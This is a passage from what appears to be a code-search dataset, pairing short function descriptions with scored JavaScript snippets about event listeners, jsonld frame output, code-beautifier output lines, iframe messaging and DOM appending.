get(\"#fretboard-button-toggle-2\").click(buttonColorHandler);\n get(\"#fretboard-button-toggle-3\").click(buttonColorHandler);\n get(\"#fretboard-button-toggle-4\").click(buttonColorHandler);\n get(\"#fretboard-button-toggle-5\").click(buttonColorHandler);\n get(\"#fretboard-button-toggle-6\").click(buttonColorHandler);\n get(\"#fretboard-button-toggle-7\").click(buttonColorHandler);\n get(\"#fretboard-button-toggle-all\").click(buttonColorHandler);\n get(\"#fretboard-button-toggle-none\").click(buttonColorHandler);\n get(\"#fretboard-button-mode\").click(buttonModeHandler);\n get(\"#fretboard-edit-open-editor\").click(editFretboard);\n get(\"#fretboard-edit-save-changes\").click(updateFretboard);\n get(\"#fretboard-edit-increase-fret\").click(addFret);\n get(\"#fretboard-edit-decrease-fret\").click(removeFret);\n get(\"#fretboard-edit-increase-string\").click(addString);\n get(\"#fretboard-edit-decrease-string\").click(removeString);\n get(\"#fretboard-edit-fret-zero\").click(toggleFretZero);\n}", "title": "" }, { "docid": "e05f8f4e88e38c402037907a696653ce", "score": "0.5906028", "text": "addEventListener(event, callback) {\n if (!(event in this._eventListeners)) {\n this._eventListeners[event] = []\n }\n\n // Currently allows duplicate callbacks. Should it?\n this._eventListeners[event].push(callback)\n }", "title": "" }, { "docid": "e81b4605fa59a550b78cb797e5519fb0", "score": "0.59016496", "text": "on(eventName, listener) {\n\n const {events,peekAll} = this; // shorthand\n\n if (arguments.length === 1) // no eventName...\n typeof arguments[0] === 'function' && peekAll.push(arguments[0]); // ...arg[0] is listener\n else // named event\n (events[eventName] || (events[eventName] = [])).push(listener);\n\n return this; // for chaining\n }", "title": "" }, { "docid": "b365a331bf47ffb21cc108f7f337c827", "score": "0.5895889", "text": "function build_listener(command, args) {\n\treturn function listener(id, event, type) {\n\t\t_Q.fcall(function() {\n\t\t\tvar env = {\n\t\t\t\t'NOPG_TR': process.pid,\n\t\t\t\t'NOPG_EVENT_ID': id,\n\t\t\t\t'NOPG_EVENT_NAME': event,\n\t\t\t\t'NOPG_EVENT_TYPE': type\n\t\t\t};\n\t\t\tvar cmd = spawn(command, args, {\n\t\t\t\tenv: merge({}, process.env, env),\n\t\t\t\t'stdio': ['ignore', process.stdout, process.stderr]\n\t\t\t});\n\t\t\tcmd.on('close', function(code) {\n\t\t\t\tif(code !== 0) {\n\t\t\t\t\tdebug.error(\"child process \", command, \" for \", event, \" exited with code \", code);\n\t\t\t\t}\n\t\t\t});\n\t\t}).fail(function(err) {\n\t\t\tdebug.error('Error: ', err);\n\t\t}).done();\n\t};\n}", "title": "" }, { "docid": "c771e0fb5df00f043b4b88f204ce7d3f", "score": "0.5892922", "text": "attachListener() {\n GlobalEventHandler.getInstance().on(AppConstants.EVENT_DATA_COLLECTION_SELECTED, () => {\n this.clearContent();\n });\n GlobalEventHandler.getInstance().on(AppConstants.EVENT_TIME_POINTS_SELECTED, () => {\n this.clearContent();\n });\n GlobalEventHandler.getInstance().on(this.options.eventName, (evt, dataset) => {\n this.matrix = dataset;\n this.checkAndUpdate();\n });\n GlobalEventHandler.getInstance().on(AppConstants.EVENT_DIFF_HEATMAP_LOADED, (evt, pair, diffData, scaleFactor) => {\n this.scaleFactor = scaleFactor;\n this.checkAndUpdate();\n });\n }", "title": "" } ]
fbb63d75adc098dc19d607c454e2498c
Adds framing output to the given parent.
[ { "docid": "d8e73a64efca65e06891a1892830821a", "score": "0.6621098", "text": "function _addFrameOutput(parent, property, output) {\n if(_isObject(parent)) {\n jsonld.addValue(parent, property, output, {propertyIsArray: true});\n } else {\n parent.push(output);\n }\n}", "title": "" } ]
[ { "docid": "afb85b8d47b8ed2391c855ce7af229cf", "score": "0.68493736", "text": "function _addFrameOutput(parent, property, output) {\n if(types.isObject(parent)) {\n util.addValue(parent, property, output, {propertyIsArray: true});\n } else {\n parent.push(output);\n }\n}", "title": "" }, { "docid": "afb85b8d47b8ed2391c855ce7af229cf", "score": "0.68493736", "text": "function _addFrameOutput(parent, property, output) {\n if(types.isObject(parent)) {\n util.addValue(parent, property, output, {propertyIsArray: true});\n } else {\n parent.push(output);\n }\n}", "title": "" }, { "docid": "afb85b8d47b8ed2391c855ce7af229cf", "score": "0.68493736", "text": "function _addFrameOutput(parent, property, output) {\n if(types.isObject(parent)) {\n util.addValue(parent, property, output, {propertyIsArray: true});\n } else {\n parent.push(output);\n }\n}", "title": "" }, { "docid": "1e16a34f25c15e74a8f42685da777ece", "score": "0.6823488", "text": "function _addFrameOutput(parent, property, output) {\n if (types.isObject(parent)) {\n util.addValue(parent, property, output, {\n propertyIsArray: true\n });\n } else {\n parent.push(output);\n }\n}", "title": "" }, { "docid": "37efda9d605f2b6ada8a545c5b0c084b", "score": "0.62911916", "text": "function _addFrameOutput(state, parent, property, output) {\n if(_isObject(parent)) {\n // get keywords\n var kwset = state.keywords['@set'];\n var kwlist = state.keywords['@list'];\n var kwcontainer = state.keywords['@container'];\n\n // use an array if @container specifies it\n var ctx = state.context;\n var container = jsonld.getContextValue(ctx, property, kwcontainer);\n var useArray = (container === kwset) || (container === kwlist);\n jsonld.addValue(parent, property, output, useArray);\n }\n else {\n parent.push(output);\n }\n}", "title": "" }, { "docid": "9827dcfc42c1babc5fa12441053103c2", "score": "0.6213603", "text": "function _addFrameOutput(parent,property,output){if(_isObject(parent)){jsonld.addValue(parent,property,output,{propertyIsArray:true});}else{parent.push(output);}}", "title": "" }, { "docid": "7afb0c9813ad710205202fb833db09d0", "score": "0.57650006", "text": "function appendChild(parent, child) {\n var children = parent.children();\n if (children.length > 0) {\n return $animate.enter(child, parent, children[children.length - 1]);\n }\n return $animate.enter(child, parent);\n }", "title": "" }, { "docid": "012d8d2ab9b3c4d952d498bc183c7ad2", "score": "0.5557864", "text": "function appendChildtoParent(parent, child){\n parent.appendChild(child);\n}", "title": "" }, { "docid": "012d8d2ab9b3c4d952d498bc183c7ad2", "score": "0.5557864", "text": "function appendChildtoParent(parent, child){\n parent.appendChild(child);\n}", "title": "" }, { "docid": "48d95f0a0d1380234595460135b3a50a", "score": "0.55530673", "text": "function Formats(parent) {\n this.parent = parent;\n this.addEventListener();\n }", "title": "" }, { "docid": "5df6912127680ce1d784aeda35303370", "score": "0.5513937", "text": "attachTo(parent) {\n parent.addChild(this.node);\n this.node.show();\n return this;\n }", "title": "" }, { "docid": "22bc1f965b3f6031cde2f6cdccc7605e", "score": "0.54098684", "text": "function appendChild(parent, child) {\n parent.appendChild(child);\n }", "title": "" }, { "docid": "a0587ad09a494793de0afc961199d023", "score": "0.53872323", "text": "set parent(parent) {\n if (!isLayer(parent)) {\n this.handleError('Invalid parent layer', parent)\n }\n parent.addChild(this)\n }", "title": "" }, { "docid": "9903d68f94aa0df0ec1a14f6e4ae0080", "score": "0.5317918", "text": "function gifStager(gifParent) {\n if(gifPlaying.childNodes[watchingAreaNode] !== undefined) {\n stageClear();\n };\n gifPlaying.appendChild(gifParent);\n}", "title": "" }, { "docid": "438a49e666dd684202a2ec2222667e1d", "score": "0.53039485", "text": "output(time = this.time, outFrame = this.outFrame, metaData = this.metaData) {\n for (let i = 0, l = this.children.length; i < l; i++) {\n this.children[i].process(time, outFrame, metaData);\n }\n }", "title": "" }, { "docid": "096b25f8779c3d0c2d9cde6c9a0e476f", "score": "0.52974755", "text": "function drawContainer(parent) {\n var div = $(\"<div></div>\");\n div.addClass(\"css3-animated-example\");\n parent.append(div);\n return (div);\n }", "title": "" }, { "docid": "c258620ed5a6c12b4a52ab00ceede49f", "score": "0.5292472", "text": "pushFrame() {\n this.inner.pushFrame();\n }", "title": "" }, { "docid": "8761211f254f1f6ec1dae26534b8b4f4", "score": "0.52759516", "text": "function Render(parent) {\n this.parent = parent;\n this.parent.dialogRenderer = new DialogRenderer(this.parent);\n this.parent.treeViewModule = new TreeViewRenderer(this.parent);\n this.parent.axisTableModule = new AxisTableRenderer(this.parent);\n this.parent.axisFieldModule = new AxisFieldRenderer(this.parent);\n }", "title": "" }, { "docid": "eb2fe428ce7be47269f154faa860e4d4", "score": "0.5184886", "text": "function appendTo(el, parent){\r\n parent.appendChild(el);\r\n }", "title": "" }, { "docid": "da4783d0cbac8559f3f1989205d0659a", "score": "0.50841725", "text": "connect(child) {\n if (this.streamParams === null) {\n throw new Error('cannot connect to a dead lfo node');\n }\n\n this.children.push(child);\n child.parent = this;\n }", "title": "" }, { "docid": "3ece1178ddba5df6620a059901e94621", "score": "0.5074094", "text": "function addElementToParent(destination) {\n\t\t// New element\n\t\tdiv = dCE('div');\n\t\tdiv.id = 'csfbd' + (counter++).toString(); // get next ID for ids\n\t\tdiv.name = 'cnfbd' + (counter++).toString(); // get next ID for names\n\t\tdiv.style.width = '90px';\n\t\tdiv.style.height = '100px';\n\t\tdiv.style.backgroundColor = '#d00';\n\t\tdiv.addEventListener('click', showDOMAttributes);\n\t\tdestination.appendChild(div);\n\t}", "title": "" }, { "docid": "4e81702cc06c8b6b9332f16df1a0e4b7", "score": "0.501364", "text": "function OutputLine(parent) {\n this.__parent = parent;\n this.__character_count = 0; // use indent_count as a marker for this.__lines that have preserved indentation\n\n this.__indent_count = -1;\n this.__alignment_count = 0;\n this.__wrap_point_index = 0;\n this.__wrap_point_character_count = 0;\n this.__wrap_point_indent_count = -1;\n this.__wrap_point_alignment_count = 0;\n this.__items = [];\n }", "title": "" }, { "docid": "4e81702cc06c8b6b9332f16df1a0e4b7", "score": "0.501364", "text": "function OutputLine(parent) {\n this.__parent = parent;\n this.__character_count = 0; // use indent_count as a marker for this.__lines that have preserved indentation\n\n this.__indent_count = -1;\n this.__alignment_count = 0;\n this.__wrap_point_index = 0;\n this.__wrap_point_character_count = 0;\n this.__wrap_point_indent_count = -1;\n this.__wrap_point_alignment_count = 0;\n this.__items = [];\n }", "title": "" }, { "docid": "4e81702cc06c8b6b9332f16df1a0e4b7", "score": "0.501364", "text": "function OutputLine(parent) {\n this.__parent = parent;\n this.__character_count = 0; // use indent_count as a marker for this.__lines that have preserved indentation\n\n this.__indent_count = -1;\n this.__alignment_count = 0;\n this.__wrap_point_index = 0;\n this.__wrap_point_character_count = 0;\n this.__wrap_point_indent_count = -1;\n this.__wrap_point_alignment_count = 0;\n this.__items = [];\n }", "title": "" }, { "docid": "8a45200a28279e4287a6c06e2e51e4e4", "score": "0.5012437", "text": "function resultElement_append(parent, child)\n{\n if(parent != null && child != null) {\n parent.content.push(child);\n }\n}", "title": "" }, { "docid": "c862f5ad0ea71931aa9c5af87ac8f9ca", "score": "0.4993828", "text": "function OutputLine(parent) {\n this.__parent = parent;\n this.__character_count = 0; // use indent_count as a marker for this.__lines that have preserved indentation\n\n this.__indent_count = -1;\n this.__alignment_count = 0;\n this.__items = [];\n }", "title": "" }, { "docid": "c862f5ad0ea71931aa9c5af87ac8f9ca", "score": "0.4993828", "text": "function OutputLine(parent) {\n this.__parent = parent;\n this.__character_count = 0; // use indent_count as a marker for this.__lines that have preserved indentation\n\n this.__indent_count = -1;\n this.__alignment_count = 0;\n this.__items = [];\n }", "title": "" }, { "docid": "c862f5ad0ea71931aa9c5af87ac8f9ca", "score": "0.4993828", "text": "function OutputLine(parent) {\n this.__parent = parent;\n this.__character_count = 0; // use indent_count as a marker for this.__lines that have preserved indentation\n\n this.__indent_count = -1;\n this.__alignment_count = 0;\n this.__items = [];\n }", "title": "" }, { "docid": "731e6a3c0c4250ec4e074d43aa9cf537", "score": "0.49878806", "text": "function wrapIframe(parent, html){\n\tvar ifr = $('<iframe frameborder=\"0\" scrolling=\"yes\" style=\"width:100%\" />').get(0)\n\tparent.append(ifr);\n\tiframedoc = ifr.contentDocument || ifr.contentWindow.document;\n\tiframedoc.body.innerHTML = html\n}", "title": "" }, { "docid": "5c005b3fe493586fbdee8c4369dfcd2e", "score": "0.49636886", "text": "appendElementsTo(parent) {\n parent.appendChild(this.canvas)\n parent.appendChild(this.nodeEditorEl)\n }", "title": "" }, { "docid": "0d71bbb5ff1133a4bb86b4355c26dbaa", "score": "0.49615186", "text": "function _frame(state, subjects, frame, parent, property) {\n // validate the frame\n _validateFrame(state, frame);\n\n // filter out subjects that match the frame\n var matches = _filterSubjects(state, subjects, frame);\n\n // get flags for current frame\n var options = state.options;\n var embedOn = _getFrameFlag(state, frame, options, 'embed');\n var explicitOn = _getFrameFlag(state, frame, options, 'explicit');\n\n // get keyword for @id\n var kwid = state.keywords['@id'];\n\n // add matches to output\n for(var id in matches) {\n // start output\n var output = {};\n output[kwid] = id;\n\n // prepare embed meta info\n var embed = {parent: parent, property: property};\n\n // if embed is on and there is an existing embed\n if(embedOn && (id in state.embeds)) {\n // only overwrite an existing embed if it has already been added to its\n // parent -- otherwise its parent is somewhere up the tree from this\n // embed and the embed would occur twice once the tree is added\n embedOn = false;\n\n // existing embed's parent is an array\n var existing = state.embeds[id];\n if(_isArray(existing.parent)) {\n for(var i in existing.parent) {\n if(jsonld.compareValues(output, existing.parent[i])) {\n embedOn = true;\n break;\n }\n }\n }\n // existing embed's parent is an object\n else if(jsonld.hasValue(existing.parent, existing.property, output)) {\n embedOn = true;\n }\n\n // existing embed has already been added, so allow an overwrite\n if(embedOn) {\n _removeEmbed(state, id);\n }\n }\n\n // not embedding, add output without any other properties\n if(!embedOn) {\n _addFrameOutput(state, parent, property, output);\n }\n else {\n // add embed meta info\n state.embeds[id] = embed;\n\n // iterate over subject properties\n var subject = matches[id];\n for(var prop in subject) {\n // copy keywords to output\n if(_isKeyword(state.keywords, prop)) {\n output[prop] = _clone(subject[prop]);\n continue;\n }\n\n // if property isn't in the frame\n if(!(prop in frame)) {\n // if explicit is off, embed values\n if(!explicitOn) {\n _embedValues(state, subject, prop, output);\n }\n continue;\n }\n\n // determine if property @type is @id\n var isId = _isKeyword(state.keywords,\n jsonld.getContextValue(state.context, prop, '@type'), '@id');\n\n // add objects\n var objects = subject[prop];\n // preserve list\n if(_isListValue(objects, state.keywords)) {\n jsonld.addValue(output, prop, {'@list': []});\n objects = objects['@list'];\n }\n objects = _isArray(objects) ? objects : [objects];\n for(var i in objects) {\n var o = objects[i];\n\n // get subject @id from expanded or compact form\n var sid = null;\n if(_isSubjectReference(o, state.keywords)) {\n sid = o[kwid];\n }\n else if(_isString(o) && isId) {\n sid = o;\n }\n\n // recurse into sub-subjects\n if(sid !== null) {\n var _subjects = {};\n _subjects[sid] = o;\n _frame(state, _subjects, frame[prop], output, prop);\n }\n // include other values automatically\n else {\n _addFrameOutput(state, output, prop, _clone(o));\n }\n }\n }\n\n var kwdefault = state.keywords['@default'];\n for(var prop in frame) {\n // skip keywords\n if(_isKeyword(state.keywords, prop)) {\n continue;\n }\n\n // if omit default is off, then include default values for properties\n // that appear in the next frame but are not in the matching subject\n var next = frame[prop];\n var omitDefaultOn = _getFrameFlag(state, next, options, 'omitDefault');\n if(!omitDefaultOn && !(prop in output)) {\n if(kwdefault in next) {\n output[prop] = _clone(next[kwdefault]);\n }\n // no frame @default, use [] for @set/@list and null otherwise\n else {\n var container = jsonld.getContextValue(\n state.context, prop, '@container');\n if(_isKeyword(state.keywords, container, '@set') ||\n _isKeyword(state.keywords, container, '@list')) {\n output[prop] = [];\n }\n else {\n output[prop] = null;\n }\n }\n }\n }\n\n // add output to parent\n _addFrameOutput(state, parent, property, output);\n }\n }\n}", "title": "" }, { "docid": "cdd3958e34d4127afdfd2cec3279c5dc", "score": "0.48952672", "text": "function attachElementToParent(element, parentElement) {\n var previousRenderNode = arguments.length <= 2 || arguments[2] === undefined ? null : arguments[2];\n\n if (previousRenderNode) {\n var previousSibling = previousRenderNode.element;\n var previousSiblingPenultimate = penultimateParentOf(previousSibling, parentElement);\n parentElement.insertBefore(element, previousSiblingPenultimate.nextSibling);\n } else {\n parentElement.insertBefore(element, parentElement.firstChild);\n }\n }", "title": "" }, { "docid": "d80d664adfb728e7b696cad946929a78", "score": "0.4891448", "text": "function attachChild(parentShape, childShape){\n\tvar index=shapes.indexOf(childShape);\n\tparentShape.children[index]=childShape;\n\t//change the class of the element to be a connected device to apply css\n\tchildShape.element.classList.add('connected-device');\n\tindex=shapes.indexOf(parent);\n}", "title": "" }, { "docid": "5dcc63595fdb46229e28fad99a9fe941", "score": "0.48802724", "text": "function OutputLine(parent) {\n this.__parent = parent;\n this.__character_count = 0;\n // use indent_count as a marker for this.__lines that have preserved indentation\n this.__indent_count = -1;\n this.__alignment_count = 0;\n this.__wrap_point_index = 0;\n this.__wrap_point_character_count = 0;\n this.__wrap_point_indent_count = -1;\n this.__wrap_point_alignment_count = 0;\n\n this.__items = [];\n}", "title": "" }, { "docid": "5dcc63595fdb46229e28fad99a9fe941", "score": "0.48802724", "text": "function OutputLine(parent) {\n this.__parent = parent;\n this.__character_count = 0;\n // use indent_count as a marker for this.__lines that have preserved indentation\n this.__indent_count = -1;\n this.__alignment_count = 0;\n this.__wrap_point_index = 0;\n this.__wrap_point_character_count = 0;\n this.__wrap_point_indent_count = -1;\n this.__wrap_point_alignment_count = 0;\n\n this.__items = [];\n}", "title": "" }, { "docid": "5dcc63595fdb46229e28fad99a9fe941", "score": "0.48802724", "text": "function OutputLine(parent) {\n this.__parent = parent;\n this.__character_count = 0;\n // use indent_count as a marker for this.__lines that have preserved indentation\n this.__indent_count = -1;\n this.__alignment_count = 0;\n this.__wrap_point_index = 0;\n this.__wrap_point_character_count = 0;\n this.__wrap_point_indent_count = -1;\n this.__wrap_point_alignment_count = 0;\n\n this.__items = [];\n}", "title": "" }, { "docid": "5dcc63595fdb46229e28fad99a9fe941", "score": "0.48802724", "text": "function OutputLine(parent) {\n this.__parent = parent;\n this.__character_count = 0;\n // use indent_count as a marker for this.__lines that have preserved indentation\n this.__indent_count = -1;\n this.__alignment_count = 0;\n this.__wrap_point_index = 0;\n this.__wrap_point_character_count = 0;\n this.__wrap_point_indent_count = -1;\n this.__wrap_point_alignment_count = 0;\n\n this.__items = [];\n}", "title": "" }, { "docid": "5dcc63595fdb46229e28fad99a9fe941", "score": "0.48802724", "text": "function OutputLine(parent) {\n this.__parent = parent;\n this.__character_count = 0;\n // use indent_count as a marker for this.__lines that have preserved indentation\n this.__indent_count = -1;\n this.__alignment_count = 0;\n this.__wrap_point_index = 0;\n this.__wrap_point_character_count = 0;\n this.__wrap_point_indent_count = -1;\n this.__wrap_point_alignment_count = 0;\n\n this.__items = [];\n}", "title": "" }, { "docid": "5dcc63595fdb46229e28fad99a9fe941", "score": "0.48802724", "text": "function OutputLine(parent) {\n this.__parent = parent;\n this.__character_count = 0;\n // use indent_count as a marker for this.__lines that have preserved indentation\n this.__indent_count = -1;\n this.__alignment_count = 0;\n this.__wrap_point_index = 0;\n this.__wrap_point_character_count = 0;\n this.__wrap_point_indent_count = -1;\n this.__wrap_point_alignment_count = 0;\n\n this.__items = [];\n}", "title": "" }, { "docid": "5dcc63595fdb46229e28fad99a9fe941", "score": "0.48802724", "text": "function OutputLine(parent) {\n this.__parent = parent;\n this.__character_count = 0;\n // use indent_count as a marker for this.__lines that have preserved indentation\n this.__indent_count = -1;\n this.__alignment_count = 0;\n this.__wrap_point_index = 0;\n this.__wrap_point_character_count = 0;\n this.__wrap_point_indent_count = -1;\n this.__wrap_point_alignment_count = 0;\n\n this.__items = [];\n}", "title": "" }, { "docid": "2e0cde9bf7180d30556ab5d609c6e6c4", "score": "0.48672077", "text": "render(parent) {\n const flipBox = this.createElement('div', 'flip-box');\n const flipBoxInner = this.createElement('div', 'flip-box-inner');\n const flipBoxFront = this.createElement('div', 'flip-box-front');\n const flipBoxBack = this.createElement('div', 'flip-box-back');\n\n //creates <img>\n const img = document.createElement('img');\n //adds src attribute <img src='img/fileName.jpg'>\n img.src = this.getUrl();\n //adds alt attribute <img src='img/fileName.jpg' alt='fileName'>\n img.alt = this.getAltText();\n //adds <img src='img/fileName.jpg' alt='fileName'> to DOM\n parent.appendChild(img);\n //adds eventListenter to flipBox when it is clicked\n flipBoxFront.addEventListener(\"click\", this.flip)\n\n parent.appendChild(flipBox);\n flipBox.appendChild(flipBoxInner);\n flipBoxInner.appendChild(flipBoxFront);\n flipBoxInner.appendChild(flipBoxBack);\n flipBoxBack.appendChild(img);\n // $('.flip-box').each($(this).hide().fadeIn(1000));\n }", "title": "" }, { "docid": "8fb349d6295885d6657787c559022d40", "score": "0.4853116", "text": "append(parent) {\n parent.appendChild(this.element);\n return this;\n }", "title": "" }, { "docid": "d15baa02bfbac05cfde50ff718846f2c", "score": "0.4826518", "text": "function renderFrame() {\n\n outerFrame();\n innerFrame();\n\n\n}", "title": "" }, { "docid": "f13d3ebb2805b13a8274b0af2179445e", "score": "0.48213485", "text": "SetParent() {}", "title": "" }, { "docid": "27c5154482802f119858aa0d6de70ad5", "score": "0.48076388", "text": "function echo(msg, parent) {\n var sp = document.createElement(\"div\");\n var parent = document.querySelector(\"#msg > div\");\n sp.innerHTML = msg;\n parent.insertBefore(sp, parent.firstChild.nextSibling);\n }", "title": "" }, { "docid": "86b8cf71eacc7eedb84e3b52a77eb51e", "score": "0.47922578", "text": "onAddParent(parent) { }", "title": "" }, { "docid": "613a421fb250c6f668f98c2e3f03ebb8", "score": "0.47664174", "text": "setParent(parent) {\n this.parent = parent;\n }", "title": "" }, { "docid": "613a421fb250c6f668f98c2e3f03ebb8", "score": "0.47664174", "text": "setParent(parent) {\n this.parent = parent;\n }", "title": "" }, { "docid": "613a421fb250c6f668f98c2e3f03ebb8", "score": "0.47664174", "text": "setParent(parent) {\n this.parent = parent;\n }", "title": "" }, { "docid": "8d4e540dc0dd8cacfdf628321907eac7", "score": "0.47571477", "text": "function AddChild(child:DialogueLine) {\n\t\tthis.Children.Add(child);\n\t\tchild.Parents.Add(this);\n\t}", "title": "" }, { "docid": "a2fa97566df16be7aed52d5a2daefc46", "score": "0.47549877", "text": "appendChildToContainer(stage, child) {\n stage.addChild(child.shape);\n stage.update();\n }", "title": "" }, { "docid": "3868835e078835e03eea01dd9688c16c", "score": "0.4744667", "text": "function registerWithParent() {\r\n postMessageToParent('helo');\r\n return false;\r\n }", "title": "" }, { "docid": "530e5b9536f91e43cea440e603a1ec41", "score": "0.47158372", "text": "setParent(parent) {\n this.parent = parent;\n }", "title": "" }, { "docid": "8c57af1394451d348293a419fa77c71e", "score": "0.4712105", "text": "function setParent(el, newParent)\n {\n newParent.appendChild(el);\n }", "title": "" }, { "docid": "1c366281d856980c2130daafc189e2fd", "score": "0.47041652", "text": "function Parent(){}", "title": "" }, { "docid": "ac0c0a8b295fe49196ed8ce3951dce54", "score": "0.4694244", "text": "function parentFunction( callback ) {\n callback( \"information from the parent function\" );\n}", "title": "" }, { "docid": "af8d280adf0e907eb790264bf079cf62", "score": "0.46938875", "text": "addChild(child, logPos=null) \n\t{ \n\t\tchild.setParent(this, logPos);\n\t\tthis._children.push(child);\n\t}", "title": "" }, { "docid": "12018ded7504b7c3a8002bf543242775", "score": "0.46905077", "text": "notifyParentAdded(parent) {\r\n this.parents.push(parent);\r\n this.onAddParent(parent);\r\n }", "title": "" }, { "docid": "b4f45156ceefdc780c514583f8b143f8", "score": "0.46833032", "text": "function setDebugEmitter(eventHandler, Penpal) {\n const { subjectFactory, next, error, complete, subscribe, transduce } = eventHandler;\n const debugEmitter = subjectFactory();\n const connection = Penpal.connectToChild({\n timeout: IFRAME_CONNECT_TIMEOUT,\n // TODO : url\n // URL of page to load into iframe.\n url: IFRAME_DEBUG_URL,\n // Container to which the iframe should be appended.\n appendTo: document.body,\n // Methods parent is exposing to child\n methods: {}\n });\n // NOTE : we are not using `scan` to reduce the API footprint, and do it through ugly closures\n // We could do the messaging logic with a state machine, but we do not want to load up 8Kb for such\n // a simple logic\n let isFrameReady = false;\n let isChildReadyToReceive = true;\n let childPendingToSend = [];\n let child = null;\n let buffer = [];\n\n connection.promise.then(_child => {isFrameReady = true, child = _child;});\n debugEmitter\n .pipe(\n map(val => {\n if (isFrameReady && buffer.length !== 0) {\n // Empty the buffer\n const copiedBuffer = buffer.slice(0);\n buffer = [];\n return copiedBuffer;\n }\n else if (isFrameReady && buffer.length === 0) {\n return [val];\n }\n else if (!isFrameReady) {\n buffer.push(val);\n return null;\n }\n }),\n filter(Boolean),\n // NOTE : trick to flatten the array of actions into the stream\n // while still keeping order of execution of actions\n flattenStreamOfArrays(eventHandler),\n map(val => {\n if (isChildReadyToReceive && childPendingToSend.length !== 0) {\n // Empty the buffer\n const copiedBuffer = childPendingToSend.slice(0);\n childPendingToSend = [];\n return copiedBuffer;\n }\n else if (isChildReadyToReceive && childPendingToSend.length === 0) {\n return [val];\n }\n else if (!isChildReadyToReceive) {\n childPendingToSend.push(val);\n return null;\n }\n }),\n filter(Boolean),\n flattenStreamOfArrays(eventHandler),\n // NOTE : simulates tap(fn) or do(fn), without having to require the function in the API\n concatMap(val => {\n isChildReadyToReceive = false;\n return child.receive(val);\n })\n )\n .subscribe(\n wellReceived => { isChildReadyToReceive = true; },\n error => {\n isChildReadyToReceive = true;\n console.error(`Machine > componentDidMount > debug emitter :`, error);\n },\n () => {isChildReadyToReceive = true;}\n );\n\n return { debugEmitter, connection };\n}", "title": "" }, { "docid": "29d514bc65ba0c7cc2db1c3d04e91ff7", "score": "0.468152", "text": "show(parentEl) {\n // setam pe contextul clasei elementul HTML\n this.carElement = this.createCarElement();\n this.carElement.style.position = \"relative\";\n this.carElement.style.left = \"0px\";\n // il afisam in DOM\n parentEl.append(this.carElement);\n\n this.registerClickEvent();\n }", "title": "" }, { "docid": "23de97cb931cde465862af9c61d30e80", "score": "0.4681362", "text": "produce() {\n this.owner.codeWriter.write(this.name);\n this.produceChildren();\n }", "title": "" }, { "docid": "b810b12e54c545e4d057be453d8d2374", "score": "0.46782964", "text": "constructor(parent) {\n this.parent = parent;\n this.addEventListener();\n /* code snippet */\n }", "title": "" }, { "docid": "352dd717d2208765d8e5b9660655d682", "score": "0.46739426", "text": "addChildtoElement(child, parent = document.body) {\n parent.appendChild(child);\n }", "title": "" }, { "docid": "924cb169754bc77d1be6821767d06e7a", "score": "0.467314", "text": "function append(parent, el){\n return parent.appendChild(el);\n \n }", "title": "" }, { "docid": "1e3254449728164fc9bfcda6d3332e1b", "score": "0.46645153", "text": "function ins (parent /* child1, child2, ...*/) {\n\t for (var i = 1, n = arguments.length; i < n; i++) {\n\t parent.appendChild(arguments[i])\n\t }\n\t\n\t return parent\n\t }", "title": "" }, { "docid": "b1e088d87c3f7a8a77eaa879cf1c303f", "score": "0.46608973", "text": "function playVid(parent) {\n parent.play();\n }", "title": "" }, { "docid": "10eb083429baba38a72a7dc761304aa5", "score": "0.46385938", "text": "function add(node, parent) {\n var children = parent ? parent.children : tokens;\n var previous = children[children.length - 1];\n var fn;\n\n if (\n previous &&\n node.type === previous.type &&\n (node.type === 'text' || node.type === 'blockquote') &&\n mergeable(previous) &&\n mergeable(node)\n ) {\n fn = node.type === 'text' ? mergeText : mergeBlockquote;\n node = fn.call(self, previous, node);\n }\n\n if (node !== previous) {\n children.push(node);\n }\n\n if (self.atStart && tokens.length !== 0) {\n self.exitStart();\n }\n\n return node\n }", "title": "" }, { "docid": "423e7179456fa34d31c5c7c106340737", "score": "0.46372336", "text": "function add(node, parent) {\n var children = parent ? parent.children : tokens\n var previous = children[children.length - 1]\n var fn\n\n if (\n previous &&\n node.type === previous.type &&\n (node.type === 'text' || node.type === 'blockquote') &&\n mergeable(previous) &&\n mergeable(node)\n ) {\n fn = node.type === 'text' ? mergeText : mergeBlockquote\n node = fn.call(self, previous, node)\n }\n\n if (node !== previous) {\n children.push(node)\n }\n\n if (self.atStart && tokens.length !== 0) {\n self.exitStart()\n }\n\n return node\n }", "title": "" }, { "docid": "7ecf37ee69104c942beaa13d67c9371a", "score": "0.46094128", "text": "function add(node, parent) {\n var children = parent ? parent.children : tokens;\n var prev = children[children.length - 1];\n var fn;\n\n if (\n prev &&\n node.type === prev.type &&\n (node.type === 'text' || node.type === 'blockquote') &&\n mergeable(prev) &&\n mergeable(node)\n ) {\n fn = node.type === 'text' ? mergeText : mergeBlockquote;\n node = fn.call(self, prev, node);\n }\n\n if (node !== prev) {\n children.push(node);\n }\n\n if (self.atStart && tokens.length !== 0) {\n self.exitStart();\n }\n\n return node\n }", "title": "" }, { "docid": "d3e4c0c91533f361f5af8362e0497771", "score": "0.4603841", "text": "initialize() {\n if (this.parent) {\n // defaults to inherit parent's stream parameters\n this.streamParams = Object.assign(this.streamParams, this.parent.streamParams);\n }\n\n // entry point for stream params configuration in derived class\n this.configureStream();\n // create the `outFrame` arrayBuffer\n this.setupStream();\n\n // propagate initialization in lfo chain\n for (let i = 0, l = this.children.length; i < l; i++) {\n this.children[i].initialize();\n }\n }", "title": "" }, { "docid": "e122a28c43e95ad72cd1160c966c14e1", "score": "0.45932922", "text": "function append(parent, el) {\r\n return parent.appendChild(el);\r\n }", "title": "" }, { "docid": "03532c18f8bbf5efe94c8d231d9707cd", "score": "0.45886394", "text": "addFrame(input, delay) {\n\n\t\tif (this._addingFramesHasEnded) {\n\t\t\tthrow new Error('Cannot add a frame after the end method has been called');\n\t\t}\n\n\t\tconst frameStream = this._getFrameStream(input);\n\n\t\tthis._inputStreams.push(new FrameStream(frameStream, delay, !this._firstFrameHasBeenAdded));\n\n\t\tthis._firstFrameHasBeenAdded = true;\n\n\t\tthis._totalFramesAdded += 1;\n\n\t\tthis._signalMore();\n\n\t}", "title": "" }, { "docid": "59cffc3e9b23bd164afcb4e5c0abd855", "score": "0.45832157", "text": "function addRecord(node, parent) {\n\n var button = create(\"BUTTON\", \"record\", \"buttons\");\n button.innerHTML = \"record story\";\n event(button, 'click', getParentPic);\n node.appendChild(button);\n function getParentPic() {\n associatePic = parent;\n recordStart1();\n }\n\n}", "title": "" }, { "docid": "faa95f2f6ac897565c522ff7cb24ea21", "score": "0.45794246", "text": 